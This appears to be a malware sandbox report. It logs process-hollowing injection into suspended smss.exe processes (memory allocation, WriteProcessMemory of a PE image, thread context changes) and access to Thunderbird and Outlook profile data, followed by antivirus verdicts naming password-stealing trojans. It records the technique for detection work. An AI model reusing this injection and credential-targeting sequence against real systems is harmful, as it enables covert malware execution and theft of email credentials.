 buffer: MZÿÿ¸@𺴠Í!¸LÍ!This program cannot be run in DOS mode. $ÌÍxþˆ¬­ˆ¬­ˆ¬­Ô•­‰¬­K£K­Š¬­ ­‰¬­=2󭋬­ˆ¬­Œ¬­Ôƒ­‰¬­ˆ¬­Ç¬­Ô…­™¬­=2÷­ó¬­=2È­‰¬­Richˆ¬­PEL…lWà  8¢Þ9P@ €ЎdP\.textõ68 `.rdata`@PB<@@.data$^ ~@À.x €À
base_address: 0x00400000
process_identifier: 2772
process_handle: 0x00000258
1 1 0

WriteProcessMemory

 buffer: ™TÍ<¨‡K¢`ˆˆÝ;U
base_address: 0x0041a000
process_identifier: 2772
process_handle: 0x00000258
1 1 0

WriteProcessMemory

 buffer: @
base_address: 0x7efde008
process_identifier: 2772
process_handle: 0x00000258
1 1 0
Time & API Arguments Status Return Repeated

WriteProcessMemory

 buffer: MZÿÿ¸@𺴠Í!¸LÍ!This program cannot be run in DOS mode. $ÌÍxþˆ¬­ˆ¬­ˆ¬­Ô•­‰¬­K£K­Š¬­ ­‰¬­=2󭋬­ˆ¬­Œ¬­Ôƒ­‰¬­ˆ¬­Ç¬­Ô…­™¬­=2÷­ó¬­=2È­‰¬­Richˆ¬­PEL…lWà  8¢Þ9P@ €ЎdP\.textõ68 `.rdata`@PB<@@.data$^ ~@À.x €À
base_address: 0x00400000
process_identifier: 2772
process_handle: 0x00000258
1 1 0
file C:\Users\test22\AppData\Roaming\Thunderbird\profiles.ini
registry HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003
registry HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\Mozilla Thunderbird\78.4.0 (ko)\Main
registry HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\ddb0922fc50b8d42be5a821ede840761\Email
Process injection Process 1680 called NtSetContextThread to modify thread in remote process 2772
Time & API Arguments Status Return Repeated

NtSetContextThread

 registers.eip: 0
registers.esp: 0
registers.edi: 0
registers.eax: 4274654
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
thread_handle: 0x00000254
process_identifier: 2772
1 0 0
Process injection Process 1680 resumed a thread in remote process 2772
Time & API Arguments Status Return Repeated

NtResumeThread

 thread_handle: 0x00000254
suspend_count: 1
process_identifier: 2772
1 0 0
Time & API Arguments Status Return Repeated

NtResumeThread

 thread_handle: 0x000000dc
suspend_count: 1
process_identifier: 1680
1 0 0

NtResumeThread

 thread_handle: 0x00000150
suspend_count: 1
process_identifier: 1680
1 0 0

NtResumeThread

 thread_handle: 0x00000198
suspend_count: 1
process_identifier: 1680
1 0 0

CreateProcessInternalW

 thread_identifier: 2740
thread_handle: 0x00000240
process_identifier: 2736
current_directory:
filepath: C:\Users\test22\AppData\Local\Temp\smss.exe
track: 1
command_line:
filepath_r: C:\Users\test22\AppData\Local\Temp\smss.exe
stack_pivoted: 0
creation_flags: 134217732 (CREATE_NO_WINDOW|CREATE_SUSPENDED)
inherit_handles: 0
process_handle: 0x00000244
1 1 0

NtGetContextThread

 thread_handle: 0x00000240
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2736
region_size: 663552
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000244
3221225496 0

CreateProcessInternalW

 thread_identifier: 2776
thread_handle: 0x00000254
process_identifier: 2772
current_directory:
filepath: C:\Users\test22\AppData\Local\Temp\smss.exe
track: 1
command_line:
filepath_r: C:\Users\test22\AppData\Local\Temp\smss.exe
stack_pivoted: 0
creation_flags: 134217732 (CREATE_NO_WINDOW|CREATE_SUSPENDED)
inherit_handles: 0
process_handle: 0x00000258
1 1 0

NtGetContextThread

 thread_handle: 0x00000254
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2772
region_size: 663552
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000258
1 0 0

WriteProcessMemory

 buffer: MZÿÿ¸@𺴠Í!¸LÍ!This program cannot be run in DOS mode. $ÌÍxþˆ¬­ˆ¬­ˆ¬­Ô•­‰¬­K£K­Š¬­ ­‰¬­=2󭋬­ˆ¬­Œ¬­Ôƒ­‰¬­ˆ¬­Ç¬­Ô…­™¬­=2÷­ó¬­=2È­‰¬­Richˆ¬­PEL…lWà  8¢Þ9P@ €ЎdP\.textõ68 `.rdata`@PB<@@.data$^ ~@À.x €À
base_address: 0x00400000
process_identifier: 2772
process_handle: 0x00000258
1 1 0

WriteProcessMemory

 buffer:
base_address: 0x00401000
process_identifier: 2772
process_handle: 0x00000258
1 1 0

WriteProcessMemory

 buffer:
base_address: 0x00415000
process_identifier: 2772
process_handle: 0x00000258
1 1 0

WriteProcessMemory

 buffer: ™TÍ<¨‡K¢`ˆˆÝ;U
base_address: 0x0041a000
process_identifier: 2772
process_handle: 0x00000258
1 1 0

WriteProcessMemory

 buffer:
base_address: 0x004a0000
process_identifier: 2772
process_handle: 0x00000258
1 1 0

WriteProcessMemory

 buffer: @
base_address: 0x7efde008
process_identifier: 2772
process_handle: 0x00000258
1 1 0

NtSetContextThread

 registers.eip: 0
registers.esp: 0
registers.edi: 0
registers.eax: 4274654
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
thread_handle: 0x00000254
process_identifier: 2772
1 0 0

NtResumeThread

 thread_handle: 0x00000254
suspend_count: 1
process_identifier: 2772
1 0 0

NtResumeThread

 thread_handle: 0x00000110
suspend_count: 1
process_identifier: 2772
1 0 0
Bkav W32.AIDetectNet.01
Lionic Trojan.Win32.Agensla.4!c
tehtris Generic.Malware
MicroWorld-eScan Trojan.GenericKD.65087021
FireEye Trojan.GenericKD.65087021
McAfee Artemis!C5BAFE3458D2
Cylance Unsafe
Cynet Malicious (score: 100)
K7AntiVirus Trojan ( 0059e0cd1 )
CrowdStrike win/malicious_confidence_100% (W)
Arcabit Trojan.Generic.D3E1262D
Symantec Scr.Malcode!gdn30
Elastic malicious (high confidence)
ESET-NOD32 a variant of MSIL/Kryptik.AHUZ
APEX Malicious
Kaspersky UDS:Trojan-PSW.MSIL.Agensla.gen
BitDefender Trojan.GenericKD.65087021
Avast Win32:PWSX-gen [Trj]
Emsisoft Trojan.GenericKD.65087021 (B)
McAfee-GW-Edition Artemis!Trojan
Sophos Mal/Generic-S
SentinelOne Static AI - Suspicious PE
MAX malware (ai score=82)
Antiy-AVL Trojan/Win32.Sabsik
Gridinsoft Ransom.Win32.LokiBot.bot
Xcitium Malware@#1hzkidaalwxbh
Microsoft Trojan:Win32/Woreflint.A!cl
GData Trojan.GenericKD.65087021
Google Detected
ALYac Trojan.GenericKD.65087021
Malwarebytes Malware.AI.4273003305
Rising Malware.Obfus/MSIL@AI.98 (RDM.MSIL2:HxEGng1kCNowy46jk80B5A)
Ikarus Trojan.MSIL.Crypt
MaxSecure Trojan.Malware.300983.susgen
Fortinet MSIL/GenKryptik.GEXO!tr
AVG Win32:PWSX-gen [Trj]